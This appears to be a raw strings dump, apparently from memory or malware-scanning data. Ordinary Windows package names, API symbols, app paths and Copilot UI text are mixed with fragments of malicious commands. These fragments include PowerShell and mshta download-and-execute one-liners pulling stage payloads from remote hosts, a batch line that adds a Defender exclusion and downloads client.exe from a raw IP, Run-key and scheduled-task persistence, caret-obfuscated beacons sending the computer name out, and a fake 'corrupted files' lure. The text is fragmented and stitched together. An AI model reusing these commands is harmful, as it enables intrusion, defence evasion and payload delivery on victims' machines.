wow64_microsoft-windows-vssproviders_31bf3856ad364e35_none_fa3f3d914d73d287
wow64_microsoft-windows-vssproxystub_31bf3856ad364e35_none_5d735cdf1b605479
wow64_microsoft-windows-vsswriters_31bf3856ad364e35_none_fbf5cf553e4c84b5
wow64_microsoft-windows-w..-encoding.resources_31bf3856ad364e35_en-us_e8538b2d284556c3
wow64_microsoft-windows-w..-host-api.resources_31bf3856ad364e35_en-us_61d16e2ef9b89b2a
wow64_microsoft-windows-w..-infrastructure-bsp_31bf3856ad364e35_none_5af1b66953e482bd
wow64_microsoft-windows-w..-protocol-component_31bf3856ad364e35_none_efb849fd85f4f4e5
InitPropVariantFromInt64Vect,$path);c:\windows\system32\rundll32.exe$path,dllregisterserver
WINDOWS\ServiceProfiles\Local
system32\cmd.exe
Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-AppServerClient-OptGroup-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-AppServerClient-OptGroup-WOW64-merged-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|Microsoft-Windows-TerminalServices-CommandLineTools-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
V1K1NG\OneDrive\Desktop\BOTNET TOOLS\WindowsFormsApp1
windowserrorrep
ms-windows-store-deskext
ms-windows-store2
ms-windows-store
mswindowsmusic
ms-windows-store-deskext
ms-windows-store2
windowsdefender
windows-feedback
microsoft.windows.camera
microsoft.windows.camera.multipicker
microsoft.windows.camera.picker
microsoft.windows.photos.picker
microsoft.windows.photos.videoedit
microsoft.windows.photos.crop
[clientName:MicrosoftWindowsDefenderClient][clientId:A5A962D7-2A13-4A83-9BDC-E17FA86AB903]
EnumWindows
EnumChildWindows
EnumWindowStationsA
EnumWindowStationsW
EnumThreadWindows
t_loader/inject_windows.setPrivilege
t_loader/inject_windows.relocateImage
t_loader/inject_windows.executeBackground
t_loader/inject_windows.createProcessWithToken
t_loader/inject_windows.InjectPe
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Trojan:Win64/T1070_001_ClearWindowsEventLogs.A
Trojan:Win64/T1562_002_DisableWindowsEventLogging.A
Windows.Storage.Search.dll
Microsoft.Windows.Desktop.DesktopShellHostExtensions
Microsoft.Windows.MobilityExperience.Health.YourPhone
Microsoft-Windows-CoreSystem-Security-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
msWindowsUser
Shows Desktop.lnk=@%SystemRoot%\system32\shell32.dll,-10113
Window Switcher.lnk=@%SystemRoot%\system32\shell32.dll,-10114
temRoot%\system32\mswsock.dll
GetSystemWindowsDirectoryA
Pcom.microsoft.windows.widgetsPeregrineWidgetsPublicPeregrineWidgets
v://7d.wf:8080/bey/lvwbwvtz992yweaqql18wvokpgxqijgpj/%computername%"p^y^e^w^x=b^x-q^n^utk^e=^on^a^l^hk^am%windir%\system32\shell32.dll
indows\system32\cmd.exe/cpowershell-c"$u='https://a3.bigdownloadtech.shop/webdav/reg/baristabagging';$p='m'+'s'+'h'+'t'+'a';&($p)$u"
\windows\system32\cmd.exe/c
\windows\system32\cmd.exe/c
kc:\windows\system32\cmd.exe/cechoc3rhcnqgl21pbibwb3dlcnnozwxsic1jb21tyw5kicjjv1igj2h0dhbzoi8vbnjndglrlm14l3dwlwnvbnrlbnqvdxbsb2fkcy93cc1jb250zw50lnbocccglu91dezpbgugjyv0zw1wjvx
c:\windows\temp\
.&\windows\system32\windowspowershell\v1.0\powershell.exec:\~-c"&{'
>C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy9
.windowsc
!WindowsTerminal_8wekyb3d8bbwe!App
2a^windows.packageExtension
\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folderssifreli2
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
objwinmgmt.execquery("select*fromwin32_processwherenamelike'%windowsservices.exe%'")
ec:\windows\temp\
wscript.exe/e:vbscript.encodevideo.3gp2c:\programfiles\windowsmediaplayer\wmplayer.exe
start-process-windowstylehidden-filepath'cscript.exe'-argumentlist'//e:jscript',$
SLGetWindowsInformationDWORD
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\mRemoteNG
C:\Users\job\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe
'file:C:/Users/job/AppData/Local/Packages/Microsoft.Windows.Photos_8wekyb3d8bbwe/LocalCache
>AppData (C:\Users\job\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe)
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
C:\Users\job\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
SMicrosoftWindows.CrossDevice_cw5n1h2txyewy
Microsoft.WindowsAlarms_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
R'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAlarms_8wekyb3d8bbwe
z'file:C:/Users/job/AppData/Local/Packages/Microsoft.WindowsAppRuntime.1.5_8wekyb3d8bbwe
Microsoft.WindowsTerminal_8wekyb3d8bbwe (C:\Users\job\AppData\Local\Packages)
>AppData (C:\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy)
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
GetWindowsDirectoryW
rowindows defender sucksot\securitycente&
C:\Windows\e
com.microsoft.windows.widgetsMicrosoftStartSportsWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/SportsWidgetDisplayName}
com.microsoft.windows.widgetsMicrosoftStartTodaysMomentWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/TodaysMomentWidgetDisplayName}
com.microsoft.windows.widgetsMicrosoftStartDailyDiscoveryWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/DailyDiscoveryWidgetDisplayName}
com.microsoft.windows.widgetsMicrosoftStartDailyWonderWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/DailyWonderWidgetDisplayName}
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
Microsoft.Windows.SRUM.Telemetry
.expandenvironmentstrings("%windir%")&"\syswow64\windowspowershell
c:\f1forseafoxgapj.forseafoxgapx2echoingelement.batv.echoingelement.bat"...\..\..\..\..\forseafoxgap\echoingelement.batc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%
mshta.exel-kelv<c:\windows\system32\mshta.exe1http://a0705880.xsph.ru/selection/seedling.txt/f"%systemroot%\system32\mmcndmgr.dll%systemroot%\system32\mshta.exe%systemroot%\system32\mshta.exe%wn
c:\windows\system32\cmd.exe/kstartmsedgehttp://myprojectdocs.com/delay_report_08.2025.pdf&curl-slo%temp%\
)11Tmc:\windows\system32\cmd.exe/cstart""/minpowershell-windowstylehidden-noprofile-executionpolicybypass-command"iwr-uri'https://eclectic-twilight-7a616e.netlify.app/stage1.ps1'-usebasicparsing|iex"
c:\windows\system32\forfiles.exe/pc:\windows\system32/mnotepad.exe/c"powershell.exe-commandpowershell-windowstyleh-command'sal
dc:\windows\system32\cmd.exe/c
t Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
xcom.microsoft.windows.extensionpackageWidgetPickerExtension Metadata
$com.microsoft.windows.extensions.xaml.widgetviewwinui3WidgetViewWinUI3Microsoft Windows Extensions
com.microsoft.windows.extensionpackageWidgetViewWinUI3Extension Metadata
com.microsoft.windows.extensions.xaml.widgetpickerWidgetPickerMicrosoft Windows Extensions
`LXhkcu\\software\\microsoft\\windows\\currentversion\\run';
-destination"$env:appdata\microsoft\windows\startmenu\programs\startup\
Windows Block Level Backup
Windows To Go
WindowsAnytimeUpgrade
WindowsBackup
.expandenvironmentstrings("%systemroot%")+"\\"+fldr+"\\windowspowershell\\v1.0\\powershell.exe"
remregadd"hklm\software\microsoft\windows\currentversion\run"/v"termserv"/treg_sz/d"
regaddhkey_current_user\software\microsoft\windows\currentversion\run/
wshshell.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\runonce\unkes"
iwshshell3.run("cmd.exe/kschtasks/create/scminute/mo50/tnfeed/trc:\windows\temp","0","false");
fiwshshell3.regread("hkey_local_machine\software\microsoft\windowsnt\currentversion\productid
com.microsoft.windows.widgetsMicrosoftStartWeatherWidgetsPublic@{Microsoft.StartExperiencesApp_1.151.0.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.StartExperiencesApp/Resources/WeatherWidgetDisplayName}
WindowsCreateStringReference
.windowssearch.com1&0
.windowsstore.com1&0
Microsoft.Windows.Security.CodeIntegrity.Driver
-c:\x5cwindows\x5csystem32\x5cmshta.exe
\\WINDOWS11
\\WINDOWS11
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths
HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes
Windows.Data.Platform.LocalCache.RetryCacheEntry
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
 Windows
179^com.microsoft.windows.extensionpackage
17a^com.microsoft.windows.extensions.xaml
17b^com.microsoft.windows.extensions.wsxpacks
com.microsoft.windows.extensions.wsxpacks
uap\windows\frameworkudk\warppal.cppA
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
GetWindowsDirectoryW
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
USERDOMAIN=Windows11
FSystemRoot=C:\WINDOWS
windir=C:\WINDOWS
9??initialize@?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UConnectionProfile@Connectivity@Networking@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_2>@?8??initialize@?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UConnectionProfile@Connectivity@Networking@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@UProxyConfiguration@Connectivity@Networking@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AV<lambda_2>@?8??initialize@?$projected_async_instance@U?$IAsyncOperation@UProxyConfiguration@Connectivity@Networking@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_1>@?7??initialize@?$projected_async_instance@U?$IAsyncOperation@UProxyConfiguration@Connectivity@Networking@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AU?$move_only_lambda@V<lambda_1>@?1???R1?1??handle_continuation@?$projected_async_instance@U?$IAsyncOperation@U?$IVectorView@UConnectionProfile@Connectivity@Networking@Windows@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AV<lambda_3>@?9??initialize@?$projected_async_instance@U?$IAsyncOperation@UProxyConfiguration@Connectivity@Networking@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AU?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UFindAllAccountsResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UWebAuthenticationAddAccountResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UWebAccountProvider@Credentials@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UWebAccount@Credentials@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UWebTokenRequestResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UWebAccount@Credentials@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UWebAccount@Credentials@Security@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UWebAuthenticationAddAccountResult@Core@Web@Authentication@Security@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UWebAuthenticationAddAccountResult@Core@W
c:/windows/system32/d
c:/windows/system32/d
)-process'c:\windows\temp\cmd.exe';invoke-webrequest-uri"l
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
our passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
WindowsBase
System.Windows.Forms.UnsafeNativeMethods.IOleObject.Advise
System.Windows.Forms.UnsafeNativeMethods.IOleObject.EnumAdvise
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.GetAdvise
System.Windows.Forms.UnsafeNativeMethods.IViewObject.GetAdvise
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.SetAdvise
System.Windows.Forms.UnsafeNativeMethods.IViewObject.SetAdvise
System.Windows.Forms.UnsafeNativeMethods.IOleObject.Unadvise
System.Windows.Forms.UnsafeNativeMethods.IOleObject.Close
System.Windows.Forms.UnsafeNativeMethods.IExpandCollapseProvider.Collapse
System.Windows.Forms.IKeyboardToolTip.IsHoveredWithMouse
windowshealthis
windowsondevicew
exclusionpath"c:\windows"timeout/t5/nobreak>nulset"url=http://146.103.25.63/client.exe"set"dest=c:\windows\client.exe
!#SCPT:getRandomOldFileFromSystem32
@getrandomoldfilefromsystem32
VK<p>1.presswindowsbutton""+r
[MSAL:0005]	DEBUG  	IsAuthorizationTypeSupported:131	WindowsIntegratedAuth with consumer realm and enabled MSA flight and non-NAA. Returning true.
SOFTWARE\Microsoft\Windows\CurrentVersion\RunPWS:HTML/Postefraud.AT
GetWindowsDirectoryW
GetSystemWindowsDirectoryW
NtUserLockWindowStation
NtUserOpenWindowStation
windows license4>
windows activation-=
activate windows'7
windows hello)3
about windows,
7c:\windows\system32\cmd.exe /c if exist 
Windows Produc'
Windows Produc
Software\Microsoft\Windows\sortsmuskede\Uninstall\AnnasofieS
Software\Microsoft\Windows\enneacontahedron\Uninstall\solicitousS
!#ALF:Y2V:Florian_Roth/WPR_WindowsPasswordRecovery_EXE
windowsformsapp1.resources.
windowsformsapp1.resources.
	COMPUTERNAME=WINDOWS11
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~~10.0.26100.1591
Microsoft-Windows-EditionPack-Professional-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe
SetWindowsHookExW
UnhookWindowsHookEx
wow64_microsoft-windows-twinapi_31bf3856ad364e35_none_496383e586698b7b
wow64_microsoft-windows-twinui-appcore_31bf3856ad364e35_none_1892502a15f1e9f6
wow64_microsoft-windows-twinui_31bf3856ad364e35_none_13437d91eefe9349
wow64_microsoft-windows-tzutil_31bf3856ad364e35_none_187c3e1de6cc2453
wow64_microsoft-windows-u..-socialrtcomponents_31bf3856ad364e35_none_0d9a5d2309731454
wow64_microsoft-windows-u..access-unifiedstore_31bf3856ad364e35_none_54a9248a5be135ce
wow64_microsoft-windows-u..access-userdataapis_31bf3856ad364e35_none_df9d6a31d1ae6a97
wow64_microsoft-windows-u..ccess-userdatautils_31bf3856ad364e35_none_a5f7534db8cf011d
wow64_microsoft-windows-u..d-library.resources_31bf3856ad364e35_en-us_8e60cbd0d2b0cd6d
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_fr-ca_5cef3675be3591f8
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_fr-fr_5c376d7bbebf646e
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_hr-hr_b70d1b2ffa9f1f5a
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_hu-hu_b6efac49fab4bf32
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_it-it_e46452c6189d6760
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_ja-jp_11e763d2367df39d
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_ko-kr_3f4a9ee054716bb7
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_lt-lt_6ca4d754726cffc2
x86_microsoft-windows-b..ager-pcat.resources_31bf3856ad364e35_lv-lv_6c913810727b6a52
COMPUTERNAME=WINDOWS11
Microsoft.Windows.Notifications.WpnApis
Microsoft.Windows.ESENT.TraceLogging
windows.protocol
windows.protocol
windows.mediaCodec
windows.mediaCodec
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
s\system32\wscript.exe");>
(@Microsoft-Windows-GroupPolicy
 @Microsoft-Windows-GroupPolicy
Microsoft.Windows.StateRepository.Core
Microsoft.Windows.CDP.OnecoreAccountProvider
Microsoft.Windows.Audio.Spatial.CrossProcess
Microsoft.Windows.Networking.Proximity.Common
Microsoft.Windows.Audio.PolicyConfig
windows.preInstalledConfigTask
windows.updateTask
windows.shareTarget
windows.comServer
windows.comServer
windows.toastNotificationActivation
windows.protocol
windows.protocol
windows.protocol
windows.backgroundTasks
windows.protocol
windows.fileTypeAssociation
windows.backgroundTasks
Microsoft-Windows-Edi
\windows\currentver"
yhttp://filefixpro.com/public/download.php?cmd=windows detected that some of your ms office and media files are corrupted. click here to k
winlogon!
\windows\currentversion\run
	s\\system32\\curl.exe
rundll32.pdbmicrosoft.windows.shell.rundll32w
<description>windows address bookwab.pdbmicrosoft.windows.internetexplorer.addressbook
twindows\system32\cmd.exen/v/cstar^tm^siexe^c-^f^v"http://gz.qa:8080/byb1m1bm9sx5nr3medqw/znntvzy/yn2zeret7l1po/!computername!"-^q!%{
C:\WINDOWS\system32\cmd.exe /c 
C:\Windows\iexplore.exe
C:\WINDOWS\SYSTEM32
C:\WINDOWS\system32\
C:\Windows\System32\
C:\Windows\iexplore.exe
C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy\AppxMetadata\AppxBundleManifest.xml
file:///C:/Windows/System32/SecurityHealth/10.0.29510.1001-0//Microsoft.SecHealthUI_8wekyb3d8bbwe.appx
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2511.47.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.ScreenSketch_2022.2511.47.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe\AppxManifest.xml
x-windowsupdate://B0522F45-6BBA-4F58-8B28-BADCEEDBB23B/FA49A899-4F04-4B8B-8C57-DDCFCC44B11A/e645a3398a13013fc4b5c51531255a918bf827c9r
C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.UI.Xaml.2.8_8.2501.31001.0_x86__8wekyb3d8bbwe\AppxManifest.xml
x-windowsupdate://81D3A520-CC7D-460D-AE71-284E86B88224/64293252-5926-453C-9494-2D4021F1C78D/9fd88ffab26c8f45f4cc33f359f302d29ecc46e1\WinStore2_22512.1401.6.0_x64.msix
x-windowsupdate://81D3A520-CC7D-460D-AE71-284E86B88224/64293252-5926-453C-9494-2D4021F1C78D/9fd88ffab26c8f45f4cc33f359f302d29ecc46e1e1
x-windowsupdate://F363B8B7-42A3-4E47-AF97-DC73218F6DC1/2FF93C20-14BA-4CBD-BD81-0BC49484FDC6/99519416711358e8fee2d7dc0fa0c4ec2e397acf
x-windowsupdate://425AA0F7-6C6F-4F79-9AF1-12427D84970F/FA49A899-4F04-4B8B-8C57-DDCFCC44B11A/04cf22631db531f0b295b818a259c91393f73144
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe\AppxManifest.xml
C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\AppxBundleManifest.xml
C:\Program Files\WindowsApps\Microsoft.Paint_11.2511.291.0_neutral_split.scale-100_8wekyb3d8bbwe\AppxManifest.xml
